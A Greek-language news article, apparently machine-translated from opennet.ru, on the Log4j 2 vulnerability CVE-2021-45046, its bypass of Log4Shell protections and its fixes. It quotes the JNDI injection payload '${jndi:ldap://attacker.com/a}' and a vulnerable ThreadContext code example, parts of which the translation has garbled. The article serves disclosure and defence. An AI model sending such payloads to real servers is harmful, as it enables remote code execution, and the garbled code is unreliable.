Μια άλλη ευπάθεια εντοπίστηκε στην υλοποίηση αντικαταστάσεων JNDI στη βιβλιοθήκη Log4j 2 (CVE-2021-45046), η οποία παρουσιάζεται παρά τις διορθώσεις που προστέθηκαν στην έκδοση 2.15 και ανεξάρτητα από τη χρήση της ρύθμισης "log4j2.noFormatMsgLookup" για προστασία. Το πρόβλημα είναι επικίνδυνο κυρίως για παλαιότερες εκδόσεις του Log4j 2, που προστατεύονται με τη σημαία "noFormatMsgLookup", καθώς καθιστά δυνατή την παράκαμψη της προστασίας έναντι προηγούμενης ευπάθειας (Log4Shell, CVE-2021-44228) που σας επιτρέπει να εκτελέσετε τον κώδικά σας στο υπηρέτης. Για τους χρήστες της έκδοσης 2.15, η εκμετάλλευση περιορίζεται στη δημιουργία συνθηκών διακοπής λειτουργίας της εφαρμογής λόγω της εξάντλησης των διαθέσιμων πόρων.
Η ευπάθεια εμφανίζεται μόνο σε συστήματα που χρησιμοποιούν Αναζητήσεις περιβάλλοντος, όπως ${ctx:loginId} ή Χάρτες περιβάλλοντος νήματος, όπως %X, %mdc και %MDC για καταγραφή. Η λειτουργία καταλήγει στη δημιουργία συνθηκών για την έξοδο δεδομένων που περιέχουν αντικαταστάσεις JNDI στο αρχείο καταγραφής όταν χρησιμοποιούνται ερωτήματα περιβάλλοντος ή πρότυπα MDC στην εφαρμογή που ορίζουν τους κανόνες για τη μορφοποίηση της εξόδου στο αρχείο καταγραφής.
Ερευνητές από το LunaSec σημείωσαν ότι για εκδόσεις του Log4j μικρότερες από 2.15, αυτή η ευπάθεια μπορεί να χρησιμοποιηθεί ως νέο διάνυσμα για μια επίθεση Log4Shell που οδηγεί σε εκτέλεση κώδικα εάν χρησιμοποιούνται εκφράσεις ThreadContext κατά την έξοδο στο αρχείο καταγραφής, στο οποίο εισάγονται εξωτερικά δεδομένα, ανεξάρτητα από τη συμπερίληψη για την προστασία της σημαίας " noMsgFormatLookups" ή του προτύπου "%m{nolookups}".
Η παράκαμψη προστασίας οφείλεται στο γεγονός ότι αντί της άμεσης αντικατάστασης "${jndi:ldap://attacker.com/a}", αυτή η έκφραση αντικαθίσταται μέσω της τιμής μιας ενδιάμεσης μεταβλητής που χρησιμοποιείται στους κανόνες για τη μορφοποίηση της εξόδου στο κούτσουρο. Για παράδειγμα, εάν το ερώτημα περιβάλλοντος ${ctx:apiversion} χρησιμοποιείται κατά την έξοδο στο αρχείο καταγραφής, τότε η επίθεση μπορεί να πραγματοποιηθεί αντικαθιστώντας τα δεδομένα "${jndi:ldap://attacker.com/a}" στο τιμή που εγγράφεται στη μεταβλητή apiversion. Παράδειγμα ευάλωτου κώδικα: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd ΩΩ:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") δημόσιο ευρετήριο συμβολοσειράς(@RequestHeader("X-Api-Version") String apiVersion) { // Η τιμή κεφαλίδας HTTP "X-Api-Version" μεταβιβάζεται στο ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Κατά την έξοδο στο αρχείο καταγραφής, η εξωτερική τιμή του apiversion θα υποβληθεί σε επεξεργασία χρησιμοποιώντας την αντικατάσταση ${ctx:apiversion} logger.info("Received a request for API version"); επιστροφή "Γεια, κόσμο!". }
Στο Log4j 2.15, η ευπάθεια θα μπορούσε να αξιοποιηθεί για την εκτέλεση επιθέσεων DoS κατά τη μετάδοση τιμών στο ThreadContext που θα προκαλούσαν βρόχο του μοτίβου μορφοποίησης εξόδου.
Οι ενημερώσεις 2.16 και 2.12.2 έχουν δημοσιευτεί για τον αποκλεισμό της ευπάθειας. Στον κλάδο Log4j 2.16, εκτός από τις επιδιορθώσεις που εφαρμόζονται στην έκδοση 2.15 και τη δέσμευση των ερωτημάτων JNDI LDAP στο "localhost", η λειτουργία JNDI είναι εντελώς απενεργοποιημένη από προεπιλογή και η υποστήριξη για μοτίβα αντικατάστασης μηνυμάτων έχει καταργηθεί. Ως λύση ασφαλείας, προτείνεται η κατάργηση της κλάσης JndiLookup από τη διαδρομή τάξης (για παράδειγμα, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Μπορείτε να παρακολουθείτε την εμφάνιση επιδιορθώσεων σε πακέτα στις σελίδες διανομών (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) και κατασκευαστές πλατφορμών Java (GitHub, Docker, Oracle, vmWare, Broadcom και Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure κ.λπ.).
Πηγή: opennet.ru